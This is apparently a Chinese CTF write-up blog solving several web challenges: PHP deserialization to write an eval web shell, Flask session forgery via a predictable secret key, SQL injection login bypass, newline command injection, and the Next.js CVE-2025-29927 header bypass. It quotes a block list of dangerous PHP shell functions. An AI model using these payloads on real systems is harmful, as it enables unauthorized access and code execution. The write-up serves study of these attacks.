关联:CTF刷题记录安全学习CTF wp

0x01 网鼎杯 2020 朱雀组【phpweb】

进去看到报错,看到这里是调用了data()函数,抓包看看 应该就是func:函数名;p:参数

试着file_get_contents读一下index.php

得到源码:

    <?php
    $disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk",  "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
    function gettime($func, $p) {
        $result = call_user_func($func, $p);
        $a= gettype($result);
        if ($a == "string") {
            return $result;
        } else {return "";}
    }
    class Test {
        var $p = "Y-m-d h:i:s a";
        var $func = "date";
        function __destruct() {
            if ($this->func != "") {
                echo gettime($this->func, $this->p);
            }
        }
    }
    $func = $_REQUEST["func"];
    $p = $_REQUEST["p"];
 
    if ($func != null) {
        $func = strtolower($func);
        if (!in_array($func,$disable_fun)) {
            echo gettime($func, $p);
        }else {
            die("Hacker...");
        }
    }
    ?>

直接传参会有waf,注意到有个__destruct,这里也调用了gettime,并且没有waf;

其实这里可以直接通过

call_user_func("system","cat /flag");这样getflag,但是这里m神让写马,上面这样能命令执行了,但是这不是一次性的吗,不太懂怎么连接的,试了文件写入,好像也没权限,本地试了一下,可以写文件,题目应该是限制了权限

O:4:"Test":2:{s:1:"p";s:57:"file_put_contents('abc.php','<?=eval($_POST["cmd"]);?>');";s:4:"func";s:6:"assert";}

也可以像这样:

<?php
class Test {
    var $p = "Y-m-d h:i:s a";
    var $func = "date";
 
}
 
$test = new Test();
 
 
$test->func="assert";
$test->p='eval($_POST["1"]);';
 
 
echo serialize($test);

但是这样只有一次呀,当时可以执行,这咋连接。。。 后面了解了一下,蚁剑可以直接设置发包的参数,直接连接就好了 这里是php版本5.几,所以还可以调用assert,但是7版本之后assert也变成语言结构了,所以就不能写马了, 或者还有其他方法,以后再了解一下。

0x02 CISCN2019 华东南赛区【Web4】

进去是一个链接,但是打不开了,(不知道为什么)但是查看源代码发现是传一个url参数,猜测是ssrf,尝试之后也没反应,也可能是文件包含,再试试,果然能读到 抓包在读一下其他文件,同时也发现了存在特殊的cookie 以为是jwt,尝试解码一下 这看着也不是常规的jwt。这里我们也查到了当前进程存在的文件,所以直接看源码了

# encoding:utf-8
import re, random, uuid, urllib
from flask import Flask, session, request
 
app = Flask(__name__)
random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random()*233)
app.debug = True
 
@app.route('/')
def index():
    session['username'] = 'www-data'
    return 'Hello World! <a href="/read?url=https://baidu.com">Read somethings</a>'
 
@app.route('/read')
def read():
    try:
        url = request.args.get('url')
        m = re.findall('^file.*', url, re.IGNORECASE)
        n = re.findall('flag', url, re.IGNORECASE)
        if m or n:
            return 'No Hack'
        res = urllib.urlopen(url)
        return res.read()
    except Exception as ex:
        print str(ex)
    return 'no response'
 
@app.route('/flag')
def flag():
    if session and session['username'] == 'fuck':
        return open('/flag.txt').read()
    else:
        return 'Access denied'
 
if __name__=='__main__':
    app.run(
        debug=True,
        host="0.0.0.0"
    )

逻辑很简单 /read路由是一个urlopen输入的,这里可以理解为文件读取 /flag路由就是查看flag的,但是这里会检查我们的session,所以应该就是一个session伪造,刚好前两天面试也问到了flask的session,这里学习一下。 我们看到session生成规则:

app = Flask(__name__)
random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random()*233)
app.debug = True

这里是一个伪随机数,设置了种子的,还要了解一下uuid.getnode() 看到这里值是和mac地址有关,学了一下怎么获得mac地址 /sys/class/net/eth0/address 这是linux中存储mac地址的地方 了解了一下,flask的session是会和secret_key有关的,有了这个key就可以用工具直接伪造了。 这里我们直接按照逻辑得到secret_key 我们通过脚本可以得到mac对应的key

import uuid
import random
 
mac = "2e:b0:8f:54:a6:f4"
temp = mac.split(':')
temp = [int(i,16) for i in temp]
temp = [bin(i).replace('0b','').zfill(8) for i in temp]
temp = ''.join(temp)
mac = int(temp,2)
random.seed(mac)
randStr = str(random.random()*233)
print(randStr)

(注意这里还只有用python2跑脚本,不知道为什么,python3跑精度不一样)没有环境可以用在线网站跑 https://www.jyshare.com/compile/6/

PS D:\webtool\flask-session-cookie-manager> python flask_session_cookie_manager3.py  decode -c 'eyJ1c2VybmFtZSI6eyIgYiI6ImQzZDNMV1JoZEdFPSJ9fQ.aUWTbQ.0TPXGKzeVGnMLGVPXIYTyxqUHcs' -s '74.8534422833'
{'username': b'www-data'}
PS D:\webtool\flask-session-cookie-manager> python flask_session_cookie_manager3.py  decode -c 'eyJ1c2VybmFtZSI6eyIgYiI6ImQzZDNMV1JoZEdFPSJ9fQ.aUWTbQ.0TPXGKzeVGnMLGVPXIYTyxqUHcs' -s '74.8534422833095'
[Decoding error] Signature b'0TPXGKzeVGnMLGVPXIYTyxqUHcs' does not match

我们这里需要username=fuck,用工具改一下:

PS D:\webtool\flask-session-cookie-manager> python flask_session_cookie_manager3.py  encode -s '74.8534422833' -t "{'username': b'fuck'}"
eyJ1c2VybmFtZSI6eyIgYiI6IlpuVmphdz09In19.aUWhdQ.taV6yt4OcPpldzPixEfVI_XnvbA

然后访问flag路由就好了,注意这里,我们伪造是只需要key的,因为后面的签名和前面有关

0x04 HackINI 2023 【just-work-type】

简单的jwt伪造 爆破jwt密钥 然后伪造cookie发包就好了。

0x05 HackINI 2021【sqli-0x1】

查看源码提示了代码审计

我们大概浏览一下。

首先是黑名单过滤,反引号过滤了,还有引号不能接空格;

接下来主要看最下面的验证,因为根际下面的html代码,只要$logged为真就返回flag

所以主要看这一块

if (isset($_POST["user"]) && isset($_POST["pass"]) && (!empty($_POST["user"])) && (!empty($_POST["pass"]))) {
    $user = $_POST["user"];
    $pass = $_POST["pass"];
    if (is_trying_to_hak_me($user)) {
        die("why u bully me");
    }
 
    $db = new SQLite3("/var/db.sqlite");
    $result = $db->query("SELECT * FROM users WHERE username='$user'");
    if ($result === false) die("pls dont break me");
    else $result = $result->fetchArray();
 
    if ($result) {
        $split = explode('$', $result["password"]);
        $password_hash = $split[0];
        $salt = $split[1];
        if ($password_hash === hash("sha256", $pass.$salt)) $logged_in = true;
        else $err = "Wrong password";
    }
    else $err = "No such user";
}

发现会根据查询结果,得到其中的password字段,再它通过password_hashpass最后把我们输入的密码和查询结果中分出来的password_hash`对比,相等就会返回真。

分析完我们构造payload;

<?php
$pass=999;
$salt=888;
$result = hash("sha256", $pass.$salt);
echo $result;
 
#$result=685f188e4f25af63603dc5b579b31090f459381a242bf7002c8a8e8ea322a4ef

这个脚本会得到哪个sha256的值。

我们把这个值拼接一下685f188e4f25af63603dc5b579b31090f459381a242bf7002c8a8e8ea322a4ef$888

这样,如果我们让查询结果为这个值,那会分出来,sha256编码和一个$salt,然后我们$pass提交一个999

(这个是999的sha2256编码),此时

$password_hash = '685f188e4f25af63603dc5b579b31090f459381a242bf7002c8a8e8ea322a4ef'
$pass = '999'
$salt = '888'
#hash("sha256", "999"."888") = 685f188e4f25af63603dc5b579b31090f459381a242bf7002c8a8e8ea322a4ef

就饶过了

这里a是一个不存在的,所以没结果,所以回显的结果就会是我们查询的1和一个编码字符串,这里提取的是password字段,那应该就是第二个,所以才把编码字符串放在2的位置。

0x06 HackINI 2022 【Whois】

得到源码

<?php
 
error_reporting(0);
 
$output = null;
$host_regex = "/^[0-9a-zA-Z][0-9a-zA-Z\.-]+$/";
$query_regex = "/^[0-9a-zA-Z\. ]+$/";
 
 
if (isset($_GET['query']) && isset($_GET['host']) && 
      is_string($_GET['query']) && is_string($_GET['host'])) {
 
  $query = $_GET['query'];
  $host = $_GET['host'];
  
  if ( !preg_match($host_regex, $host) || !preg_match($query_regex, $query) ) {
    $output = "Invalid query or whois host";
  } else {
    $output = shell_exec("/usr/bin/whois -h ${host} ${query}");
  }
 
} 
else {
  highlight_file(__FILE__);
  exit;
}
 
?>
 
<!DOCTYPE html>
<html>
  <head>
    <title>Whois</title>
  </head>
  <body>
    <pre><?= htmlspecialchars($output) ?></pre>
  </body>
</html>

重点在shell_exec("/usr/bin/whois -h ${host} ${query}"),可以拼接命令,但是又不允许有;,linux中允许;或换行符\n分割命令。如:

所以我们这里可以用换行符,注意要用%0a

0x07 Next.js 中间件鉴权绕过漏洞 (CVE-2025-29927)

漏洞描述

CVE-2025-29927 是 Next.js 框架中发现的一个严重授权绕过漏洞。该漏洞允许攻击者通过伪造特定的 HTTP 请求头,绕过中间件中的授权检查,从而未经授权地访问受保护的资源。此问题影响了使用“next start”命令并设置“output: ‘standalone’”的自托管 Next.js 应用程序。

Next.js 使用内部头字段“x-middleware-subrequest”来防止递归请求导致的无限循环。攻击者可以通过在请求中伪造该头字段,跳过中间件的执行,从而绕过关键的安全检查,例如授权 Cookie 验证。

受影响的版本

==Next.js 15.x < 15.2.3

==Next.js 14.x < 14.2.25

==Next.js 13.x < 13.5.9

影响范围

使用中间件的自托管 Next.js 应用程序(next start with output: standalone)

依赖 Middleware 进行身份验证或安全检查的应用程序,稍后不会在应用程序中进行验证

环境搭建

使用 p 神的https://github.com/vulhub/vulhub/blob/master/next.js/CVE-2025-29927/README.zh-cn.md

可以把vulhub都gitclone下来。然后进对应的文件夹docker-compose up -d

┌──(root㉿kali)-[/home/…/Desktop/vulhub/next.js/CVE-2025-29927]
└─# docker-compose up -d
Creating network "cve-2025-29927_default" with the default driver
Pulling web (vulhub/nextjs:15.2.2)...
15.2.2: Pulling from vulhub/nextjs
6e909acdb790: Pull complete
d714f4673cad: Pull complete
be84add755f8: Pull complete
9a8d89ceeab1: Pull complete
4c07c1809c8e: Pull complete
a98958ee95bc: Pull complete
23bec30f180e: Pull complete
bf031c299822: Pull complete
Digest: sha256:d4df62ece026292a8068bf48667fd8ad44b31120237ff302de294da88d7ee018
Status: Downloaded newer image for vulhub/nextjs:15.2.2
Creating cve-2025-29927_web_1 ... done
 

看到在3000端口启动了对应环境

漏洞复现

启动环境后访问you_ip:3000

自动重定向到了/login路由。

需要我们登录,我们可以输入admin:password登录。

如果我们不知道密码的情况下,可以利用该漏洞实现越权登录:

我们添加请求头(注意我们要访问的不是login路由,是根目录)

x-middleware-subrequest:middleware:middleware:middleware:middleware:middleware

可以看到成功确权访问了admin管理界面

漏洞原理

看文章Next.js 中间件鉴权绕过漏洞 (CVE-2025-29927)-先知社区

关键代码

export const run = withTaggedErrors(async function runWithTaggedErrors(params) {
const runtime = await getRuntimeContext(params)
const subreq = params.request.headers[`x-middleware-subrequest`]
const subrequests = typeof subreq === 'string' ? subreq.split(':') : []
 
const MAX_RECURSION_DEPTH = 5
const depth = subrequests.reduce(
  (acc, curr) => (curr === params.name ? acc + 1 : acc),
  0
)
 
if (depth >= MAX_RECURSION_DEPTH) {
  return {
    waitUntil: Promise.resolve(),
    response: new runtime.context.Response(null, {
      headers: {
        'x-middleware-next': '1',
      },
    }),
  }
}

会检查请求头,x-middleware-subrequest,并按:分割值。

当递归深度大于MAX_RECURSION_DEPTH = 5时,会绕过中间件的检查继续后续内容。

中间件:

Next.js中可以用于在请求到达 API 路由或页面组件之前执行全局逻辑,比如身份验证、请求拦截、重定向等。就是在执行请求前执行一些动作。(在该环境下就是在请求前进行身份验证)

x-middleware-subrequest头:

为了防止一直递归调用进入死循环而设计。比如:请求一个地址,发现没有登录,于是跳转到login,但是此时还是没有登录,于是又会调用中间件,这样会造成重复递归调用。此时有x-middleware-subrequest头,中间件检测到它,就知道这里已经检测过了,就可以跳过这次检测。

所以我们要伪造请求头x-middleware-subrequest:根据检查后面的值为中间件名,而规定中间件名为,所以我们填5个middleware即可绕过检测。

他的路径通常在根目录/middleware或者src目录/src/middleware,所有我们的payload为

x-middleware-subrequest:middleware:middleware:middleware:middleware:middleware
x-middleware-subrequest:src/middleware:src/middleware:src/middleware:src/middleware:src/middleware

[WatCTF 2025 ]Waterloo Trivia Dash

答完三道题后得到一个按钮,按了没反应,于是复制连接看一下。

http://112.124.64.34:3080/admin,是一个admin路由,抓包看

访问之后会307跳转到根路由。

我们信息收集一下

发现是Next.js版本15.2.2 < 15.2.3 存在已知的漏洞。我们尝试攻击

该题的中间件是在src目录下。